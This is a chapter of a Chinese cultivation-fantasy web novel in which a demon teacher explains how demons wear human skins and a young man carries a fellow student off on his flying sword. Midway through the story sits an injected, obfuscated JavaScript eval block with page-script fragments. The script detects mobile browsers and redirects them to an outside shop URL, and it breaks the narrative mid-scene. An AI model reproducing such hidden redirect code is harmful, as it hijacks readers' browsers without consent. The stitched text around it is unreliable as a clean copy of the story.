是的,常又生可以作证,方秀秀的鼻子掉到了嘴上,如果那凸起的地方勉强称得上是鼻子的话。
她亲眼目睹。那鼻子在方秀秀点头的时候犹如化掉了的雪,极为自然缓慢地滑落到了她的嘴上。
纵享丝滑,极致惊吓。
“知道了,大惊小怪。”
方秀秀伸手将嘴上多余的部分扶起来,大致扶到鼻梁的地方,感觉差不多了,又上手捏了捏,以防止下次点头的时候又掉下来。
目睹全程的常又生:“……”
惊魂未定的林思依:“……”
不是,老师,虽然我们都知道你是魔,但是你装都不装了吗?这么不拿我们当外人的吗?
“我什么时候给你上的课?”
方秀秀看向常又生。
“九月二十七。”
震惊归震惊,常又生还是老老实实回道。
“九月二十七……被困了两天。”
方秀秀自言自语,而后问道:“你怎么出来的?”
“学生找了一个吉位,跟着阵法运行打坐,从生门出来的。”
“嗯?”
因为方秀秀此刻没有脸,所以常又生看不清她的表情,只当她没有听清,所以又说了一遍,当然如果方秀秀此刻有表情,那常又生对着她铁青的脸色,绝对不会将此话再重复一遍了。
“就是这样,有什么问题吗?”
“天哪!财财你怎么这么想到的啊,好棒啊!要是这样的话,无论什么阵法,我们都能按照这个出来了,那天下阵法对我们来说,不就如若无物了吗?!”
未待方柳二人说话,迷迷糊糊反应过来的林思依已经率先发出了夸赞,看着常又生满眼的星星。
“没有没有,万一不行呢。”
常又生被夸的有些害羞。
“财财,你说要是我们把你这个想法付诸实践,然后卖给那些破不了阵的修士们,我们不就发财了吗?”
林思依张嘴就来。
“对哦思依,我们可以把这个想法说给器修,然后让他做一个……”
不怕人犯糊涂,怕就怕犯糊涂的时候,旁边还有一个搞不清状况更糊涂的,若是两个人就此你一言我一句地聊起来,指不定的就聊到怎么做大做强,创造辉煌的话题上了,世上大多石破天惊的蠢事也就由此诞生了。
正当常林二妖即将踏上这条康庄坑道,将一旁的方秀秀气个半死的时候,万幸此地还有个不糊涂的,一句话将二人拉了回来,及时拯救了即将被不争气的学生气到昏厥的阵法老师。
“那敢问两位道友,如果我按照这个方法占了吉位,但在等生门的过程中迎来了先行一步的死门。”柳长明忍笑问道,“届时我怎么办?”
如果死门比生门先行一步,你是等死呢,还是等死呢?
常又生:“……”
她不说话。
她的沉默震耳欲聋。
感谢上天,感谢大地,感谢她那踩了狗屎的运气,让她在五五开的生死局里赢了一把。
“……所以正常情况下,学生应该怎么出来?”
被柳长明一打断,常又生终于注意到了一旁的方秀秀并神奇地从她看不出表情的头上窥出了那么一两丝不太美妙的心情,于是急忙虚心请教,生怕方秀秀一个生气又将她送了回去。
“你在阵中做了什么?”
“学生刚开始发现阵法有攻击性,本来想的是与之纠缠一会耗出来,后来……”
常又生一点点讲自己在阵中的经历、所得,方秀秀心头的火气总算是下去了一点。
“还算有些长进,你既然知道这么多,为何就想不到同时攻击四门,共同破之呢?”
“对哦。”
常又生一拍脑门,暗恨自己是个榆木疙瘩,怎么就没想到这一点呢?
“算了算了,走吧。”
方秀秀挥手赶她们出去,没好气地问柳长明。
“无事不登三宝殿,你来找我干什么?”
“想向你了解一些关于人皮面具的事。”
正准备溜之大吉的某人:人皮面具?
“财财,你怎么不走了啊?”
林思依瞧着常又生脚步一顿,疑惑道。
常又生想了想,觉得还是留下来比较好。
她抽出手,有些抱歉:“小兔子,我还有些事情,可能你要自己先回去。”
“好,你没事就行,那我先走了,你早点回来,记得看玉简。”
林思依朝常又生摆手,然后,快速溜之大吉。
莫名觉得林思依背影落寞的常又生:奇怪,她怎么会有一种自己是渣男,辜负了良家少女的感觉呢?
错觉,一定是错觉!
“你怎么还不走?”
方秀秀没好气地问道。
“学生好学。”
常又生嬉皮笑脸。
方秀秀冷哼一声:“好学?那你来试试这个阵法。”
“方老师,此事不易耽搁,我还有些事情。”
柳长明出声,似是不经意站在了常又生身前,挡住了方秀秀的目光。
方秀秀蹙眉,柳家这小子断不会做多余的动作,意思是让这丫头旁听?
“可算是交换的代价?”
“自然。”柳长明点头。
也罢,反正给几个人讲不是讲。
“魔族乃气所化,本无形,后才凝为实体,却无相。要想和你们人妖二族看起来无异,就需要皮。皮分为两种,一种是从人或妖身上剥下来的,这种保存时间久,也更容易方便,不用我们自己捏。另一种是自己做,制作一副看起来正常的人皮需要耗费很多功夫,而且一般用几次就掉了,还容易被发现,很麻烦。”
方秀秀一边说一边甩着手里的人皮面具。
“像我这种学艺不精又道德水平高尚的那就没办法喽。”
“还有呢,势力分布呢?”
柳长明指尖搭在扇骨上,示意方秀秀继续说。
“我都从那里离开多少年了,哪还能记得。”
方秀秀打着马虎眼,顾念着常又生还在这里,并未细说。
“不能把东西要走就翻脸不认人了吧?”
柳长明示意她继续往下说,他的东西是那么好拿的?再说,魔族人少,寿命又长,方秀秀待在外边的这些年根本不够看的。
“主张直接剥皮的是当年魔皇的老手下了,你也知道,这种老手下自然对人族态度不好,整天想着如何重振旗鼓,卷土重来。剩下一部分学手艺的要么是被困在魔族遇不到人没办法,要不然就是新生的魔,想和老人们对着干。
“什么情况下魔族会养大一个人族姑娘?”
常又生疑惑。
“你这丫头挺有意思,你问我,我怎么知道?”
方秀秀反问,常又生囧。
“不过……”
方秀秀不知想起了什么,话音一转。
“多年前我离开魔族的时候,魔族的大长老季云开倒是刚好抱回来一个孩子,具体什么原因没杀他,我忘了。”方秀秀摸着下巴想了想,“你们问这个干什么?”
常又生不答,柳长明更不可能回应。
方秀秀冷笑一声,指着柳长明:“反正我知道的就这么多,算是不欠你的了,好走不送。”
常柳二人被一阵风送出洞府。
常又生自认为和柳长明没什么好说的,转身就走,却突觉身后一沉,她蹙眉。
“别拽我袖子。”
柳长明从善如流:“还以为来道友不认识我了。”
他喊她来道友,不是常又生。
示好?
常又生手似无意般抚上尚未消肿的脸,挑眉:“有事说事。”
柳长明看着她的小动作,忍笑。
“你不要做剑的料子了?”
嘶。
好问题。
今天之前常又生还可能极具骨气说一声不要,让柳长明滚。但经阵中一战,常又生此刻犹豫了。
一件好料子太难得了,一件做剑的好料子更是难得。
天知道她现在是个穷逼,不知道什么时候能遇见,而且就算遇见也极有可能买不起。所以她就只能买小破剑,买小破剑的下场就是被人随意折断,然后来不及买下一把就被人按在地上摩擦。
所以她要什么骨气?
“要。”
半晌,常又生低头弱弱应了一句。
像在伸手索要别人的东西,明明不是这样,为什么会有这种感觉?
她不喜欢这种感觉,一点都不喜欢。
“就知道占不了你一点便宜,也是,总不能让你白出力。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840541|186650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳长明状似无意地感叹了一句。
“上来啊,愣着干什么?”
常又生抬头,才发现柳长明不知道什么时候已经站在了如是观上。
常又生仰看着柳长明。
见他脚下剑尾流光,身后晴空万里。
而那人此刻正站在剑上,微微躬身,朝她伸出手,眉梢眼角尽是从容。
景是好景,人是美人,端的也是一派风流。
可这看景的人,情绪却诡异地更加低落起来。
只言片语不受控制地划过脑海。
“她配吗?”
“她凭什么?”
“找遍她浑身上下,能扒拉出一个像样的优点吗?”
“这样的人她还真有脸啊!每天摆着个死鱼脸不知道干什么。”
常又生压下心头涌上的情绪,控制自己不再去想那些东西,伸出手正要上去,却陡然间顿住。
她看见她手上有灰。
手背上蹭的,指甲里藏的。
又脏又丑。
怎么能这么脏?怎么能这么丑?
她问自己。
那是阵中蹭的,她当然知道,她也知道洗掉就好了。
可是,怎么这么脏,这么丑?
什么也抓不住,什么也做不好,永远都是这样,永远都是。
情绪骤然散开,再也压不住,常又生胸口发闷,生出一种强烈到要将她活活撕裂开来生生吃掉的挫败无力感。
那些人说的有什么错?
好一滩烂泥!
柳长明站在剑上,清楚看见女孩那双好看的眸子极速地黯淡下去,仿若被抽掉了一半生气,回到他最初在妖族见她的样子。
“我不要了。”
她说,塌着肩膀转身就走。
不知怎地,看着常又生的背影,柳长明心里突然就像被猫挠了一下,烦躁不已,急切地迫使他做出什么去缓解。
“常又生!”
他喊了两声,那人毫无反应。
旁若无人。
柳长明心中腾地升起一股火,燎心烧肺。
常又生眼前景物骤变,突然被人拎着领子腾空而起,她吓了一跳。
“你干嘛!”
常又生在空中一时手足无措。
柳长明充耳不闻,未顺势落到剑上,也未闻言将她放下来,反而加快了速度,越升越高,越飞越远。
常又生在阵中灵力尽无,此刻尚未恢复,整个身子没有支撑,只一个衣领被人拎着,极度的不安全感充斥着她的大脑,使她骤然脱离出情绪。
“柳长明!放我下来!”
“听不见。”
淡淡的声音从她头上传下来,眼前景物变化更快。
这脑子有坑的怎么还在加速?他怎么还能加速啊?
“我说——放我下来啊。”
常又生声音打了颤。
“放你下来?好啊。”
轻飘飘的声音落下来,常又生感觉衣领上的那道力松了一点,自己整个人在往下滑,摇摇欲坠。
“啊啊!”
常又生慌乱间伸手,死死拽住了自己头边的小臂,叫了出来。
臂上传来的温度使柳长明回神,心里那点奇异的汹涌猛地消失,一股踏实感迎了上来,他带着她落到剑上。
常又生松开他,惊魂未定:“你什么意思?”
鲜活的眉眼。
忽略臂上突然松了不少的空落,柳长明掸了掸袖子,脚下如是观带着二人骤然升空,他挑着眉:“谁允许你说不要就不要的?我答应了吗?”
“你……”
常又生被惊的一时说不出话来,柳长明的语气太冷,太嚣张,太……霸道。
“站好。”
他嘱咐,转过身去,不再看常又生。
常又生:她怀疑他有病没吃药。
但她不敢说,她怕他再发疯,莫名其妙,莫名其妙!
如是观很快带着二人出了玄天宗,然后慢悠悠地带着二人在空中晃。
“你刚刚怎么了?”
柳长明问。
“我还想问你刚刚发什么神经呢!”
常又生余怒未消。
“你带我去哪?”
这不是去柳家的路。
“上课。”